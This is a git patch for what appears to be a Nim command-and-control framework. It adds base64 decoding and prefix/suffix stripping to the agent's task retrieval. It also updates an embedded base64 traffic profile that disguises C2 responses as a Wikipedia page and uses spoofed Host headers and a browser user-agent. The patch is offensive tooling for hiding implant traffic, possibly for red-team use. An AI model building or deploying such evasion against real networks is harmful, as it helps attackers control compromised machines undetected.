From 023a562be57c31cae7784600ec6f4615bee8664a Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Sun, 17 Aug 2025 17:01:50 +0200 Subject: [PATCH] Implemented server output encoding for task retrieval. --- data/profile.toml | 4 +++- src/agent/core/http.nim | 18 +++++++++++++++++- src/agent/nim.cfg | 2 +- src/server/api/routes.nim | 8 ++++---- 4 files changed, 25 insertions(+), 7 deletions(-) diff --git a/data/profile.toml b/data/profile.toml index cb8bb7c..f74e447 100644 --- a/data/profile.toml +++ b/data/profile.toml @@ -41,7 +41,6 @@ suffix = ".######################################-####" # Other examples # placement = { type = "parameter", name = "id" } # placement = { type = "uri" } -# placement = { type = "body" } # Defines arbitrary URI parameters that are added to the request [http-get.agent.parameters] @@ -69,6 +68,9 @@ Connection = "Keep-Alive" # e.g base64-encoded in a svg/img [http-get.server.output] placement = { type = "body" } +# encoding = { type = "base64" } +# prefix = "Wikipedia" # ---------------------------------------------------------- # HTTP POST diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index 983ac31..b2ba04c 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -48,8 +48,24 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = try: # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization - return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}") + let responseBody = waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}") + # Return if no tasks are queued + if responseBody.len <= 0: + return "" + + # In case that tasks are found, apply data transformation to server's response body to get thr raw data + let + prefix = ctx.profile.getString("http-get.server.output.prefix") + suffix = ctx.profile.getString("http-get.server.output.suffix") + encResponse = responseBody[len(prefix) ..^ len(suffix) + 1] + + case ctx.profile.getString("http-get.server.output.encoding.type", default = "none"): + of "base64": + return decode(encResponse) + of "none": + return encResponse + except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time echo "[-] " & err.msg diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index ae725a1..717e241 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -7,4 +7,4 @@ -d:ListenerPort=8080 -d:SleepDelay=3 -d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U=" --d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSBbIndpa2lwZWRpYS5vcmciLCAiZ29vZ2xlLmNvbSIsICIxMjcuMC4wLjEiXQpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1nZXQuc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKQ29udGVudC1UeXBlID0gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgoKW2h0dHAtZ2V0LnNlcnZlci5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgoKW2h0dHAtcG9zdF0KZW5kcG9pbnRzID0gWyIvcG9zdCIsICIvYXBpL3YyL2dldC5qcyJdCnJlcXVlc3QtbWV0aG9kcyA9IFsiUE9TVCIsICJQVVQiXQpbaHR0cC1wb3N0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29udGVudC1UeXBlID0gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtcG9zdC5hZ2VudC5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgpbaHR0cC1wb3N0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCgpbaHR0cC1wb3N0LnNlcnZlci5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgoK" +-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSBbIndpa2lwZWRpYS5vcmciLCAiZ29vZ2xlLmNvbSIsICIxMjcuMC4wLjEiXQpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1nZXQuc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKQ29udGVudC1UeXBlID0gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgoKW2h0dHAtZ2V0LnNlcnZlci5vdXRwdXRdCnByZWZpeCA9ICI8IURPQ1RZUEUgaHRtbD48aHRtbCBjbGFzcz1jbGllbnQtbm9qcyBsYW5nPWVuIGRpcj1sdHI+PGhlYWQ+PG1ldGEgY2hhcnNldD1VVEYtOC8+PHRpdGxlPldpa2lwZWRpYTwvdGl0bGU+PHNjcmlwdD5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xhc3NOYW1lID0gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsYXNzTmFtZS5yZXBsYWNlKCAvKF58cyljbGllbnQtbm9qcyhzfCQpLywgJDFjbGllbnQtanMkMiApOzwvc2NyaXB0PjxzY3JpcHQ+KHdpbmRvdy5STFE9d2luZG93LlJMUXx8W10pLnB1c2goZnVuY3Rpb24oKXttdy5jb25maWcuc2V0KHt3Z0Nhbm9uaWNhbE5hbWVzcGFjZTosd2dDYW5vbmljYWxTcGVjaWFsUGFnZU5hbWU6ZmFsc2Usd2dOYW1lc3BhY2VOdW1iZXI6MCwsd2dCZXRhRmVhdHVyZXNGZWF0dXJlczpbXSx3Z01lZGlhVmlld2VyT25DbGljazp0cnVlLHdnTWVkaWFWaWV3ZXJFbmFibGVkQnlEZWZhdWx0OnRydWUsd2dWaXN1YWxFZGl0b3I6e3BhZ2VMYW5ndWFnZUNvZGU6ZW4scGFnZUxhbmd1YWdlRGlyOmx0cix1c2VQYWdlSW1hZ2VzOnRydWUsdXNlUGFnZURlc2NyaXB0aW9uczp0cnVlfSx3Z1ByZWZlcnJlZFZhcmlhbnQ6ZW4sd2dNRkRpc3BsYXlXaWtpYmFzZURlc2NyaXB0aW9uczp7c2VhcmNoOnRydWUsbmVhcmJ5OnRydWUsd2F0Y2hsaXN0OnRydWUsdGFnbGluZTpmYWxzZX0sd2dSZWxhdGVkQXJ0aWNsZXM6bnVsbCx3Z1JlbGF0ZWRBcnRpY2xlc1VzZUNpcnJ1c1NlYXJjaDp0cnVlLHdnUmVsYXRlZEFydGljbGVzT25seVVzZUNpcnJ1c1NlYXJjaDpmYWxzZSx3Z1VMU0N1cnJlbnRBdXRvbnltOkVuZ2xpc2gsd2dOb3RpY2VQcm9qZWN0Ondpa2lwZWRpYSx3Z0NlbnRyYWxOb3RpY2VDb29raWVzVG9EZWxldGU6W10sd2dDZW50cmFsTm90aWNlQ2F0ZWdvcmllc1VzaW5nTGVnYWN5OltGdW5kcmFpc2luZyxmdW5kcmFpc2luZ10sd2dDYXRlZ29yeVRyZWVQYWdlQ2F0ZWdvcnlPcHRpb25zOnttb2RlOjAsaGlkZXByZWZpeDoyMCxzaG93Y291bnQ6dHJ1ZSxuYW1lc3BhY2VzOmZhbHNlfSx3Z1dpa2liYXNlSXRlbUlkOiIKc3VmZml4ID0gIix3Z0NlbnRyYWxBdXRoTW9iaWxlRG9tYWluOmZhbHNlLHdnVmlzdWFsRWRpdG9yVG9vbGJhclNjcm9sbE9mZnNldDowLHdnRWRpdFN1Ym1pdEJ1dHRvbkxhYmVsUHVibGlzaDpmYWxzZX0pO213LmxvYWRlci5zdGF0ZSh7ZXh0Lmdsb2JhbENzc0pzLnVzZXIuc3R5bGVzOnJlYWR5LGV4dC5nbG9iYWxDc3NKcy5zaXRlLnN0eWxlczpyZWFkeSxzaXRlLnN0eWxlczpyZWFkeSxub3NjcmlwdDpyZWFkeSx1c2VyLnN0eWxlczpyZWFkeSx1c2VyOnJlYWR5LHVzZXIub3B0aW9uczpsb2FkaW5nLHVzZXIudG9rZW5zOmxvYWRpbmcsd2lraWJhc2UuY2xpZW50LmluaXQ6cmVhZHksZXh0LnZpc3VhbEVkaXRvci5kZXNrdG9wQXJ0aWNsZVRhcmdldC5ub3NjcmlwdDpyZWFkeSxleHQudWxzLmludGVybGFuZ3VhZ2U6cmVhZHksZXh0Lndpa2ltZWRpYUJhZGdlczpyZWFkeSxtZWRpYXdpa2kubGVnYWN5LnNoYXJlZDpyZWFkeSxtZWRpYXdpa2kubGVnYWN5LmNvbW1vblByaW50OnJlYWR5LG1lZGlhd2lraS5zZWN0aW9uQW5jaG9yOnJlYWR5LG1lZGlhd2lraS5za2lubmluZy5pbnRlcmZhY2U6cmVhZHksc2tpbnMudmVjdG9yLnN0eWxlczpyZWFkeSxleHQuZ2xvYmFsQ3NzSnMudXNlcjpyZWFkeSxleHQuZ2xvYmFsQ3NzSnMuc2l0ZTpyZWFkeX0pO213LmxvYWRlci5pbXBsZW1lbnQodXNlci5vcHRpb25zQDBqM2x6M3EsZnVuY3Rpb24oJCxqUXVlcnkscmVxdWlyZSxtb2R1bGUpe213LnVzZXIub3B0aW9ucy5zZXQoe3ZhcmlhbnQ6ZW59KTt9KTttdy5sb2FkZXIuaW1wbGVtZW50KHVzZXIudG9rZW5zQDFkcWZkN2wsZnVuY3Rpb24gKCAkLCBqUXVlcnksIHJlcXVpcmUsIG1vZHVsZSApPC9zY3JpcHQ+PGxpbmsgcmVsPXN0eWxlc2hlZXQgaHJlZj0vdy9sb2FkLnBocD9kZWJ1Zz1mYWxzZSZhbXA7bGFuZz1lbiZhbXA7bW9kdWxlcz1leHQudWxzLmludGVybGFuZ3VhZ2UlN0NleHQudmlzdWFsRWRpdG9yLmRlc2t0b3BBcnRpY2xlVGFyZ2V0Lm5vc2NyaXB0JTdDZXh0Lndpa2ltZWRpYUJhZGdlcyU3Q21lZGlhd2lraS5sZWdhY3kuY29tbW9uUHJpbnQlMkNzaGFyZWQlN0NtZWRpYXdpa2kuc2VjdGlvbkFuY2hvciU3Q21lZGlhd2lraS5za2lubmluZy5pbnRlcmZhY2UlN0Nza2lucy52ZWN0b3Iuc3R5bGVzJTdDd2lraWJhc2UuY2xpZW50LmluaXQmYW1wO29ubHk9c3R5bGVzJmFtcDtza2luPXZlY3Rvci8+PHNjcmlwdCBhc3luYz0gc3JjPS93L2xvYWQucGhwP2RlYnVnPWZhbHNlJmFtcDtsYW5nPWVuJmFtcDttb2R1bGVzPXN0YXJ0dXAmYW1wO29ubHk9c2NyaXB0cyZhbXA7c2tpbj12ZWN0b3I+PC9zY3JpcHQ+PG1ldGEgbmFtZT1SZXNvdXJjZUxvYWRlckR5bmFtaWNTdHlsZXMgY29udGVudD0vPjxsaW5rIHJlbD1zdHlsZXNoZWV0IGhyZWY9L3cvbG9hZC5waHA/ZGVidWc9ZmFsc2UmYW1wO2xhbmc9ZW4mYW1wO21vZHVsZXM9c2l0ZS5zdHlsZXMmYW1wO29ubHk9c3R5bGVzJmFtcDtza2luPXZlY3Rvci8+IgpbaHR0cC1nZXQuc2VydmVyLm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKCgoKW2h0dHAtcG9zdF0KZW5kcG9pbnRzID0gWyIvcG9zdCIsICIvYXBpL3YyL2dldC5qcyJdCnJlcXVlc3QtbWV0aG9kcyA9IFsiUE9TVCIsICJQVVQiXQpbaHR0cC1wb3N0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSBbIndpa2lwZWRpYS5vcmciLCAiZ29vZ2xlLmNvbSIsICIxMjcuMC4wLjEiXQpDb250ZW50LVR5cGUgPSAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIgpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1wb3N0LmFnZW50Lm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCltodHRwLXBvc3Quc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKCltodHRwLXBvc3Quc2VydmVyLm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCgo=" diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index e8567d6..da5ebf6 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -43,10 +43,10 @@ proc httpGet*(ctx: Context) {.async.} = else: discard # Retrieve and apply data transformation to get raw heartbeat packet - let prefix = cq.profile.getString("http-get.agent.heartbeat.prefix") - let suffix = cq.profile.getString("http-get.agent.heartbeat.suffix") - - let encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1] + let + prefix = cq.profile.getString("http-get.agent.heartbeat.prefix") + suffix = cq.profile.getString("http-get.agent.heartbeat.suffix") + encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1] case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"): of "base64":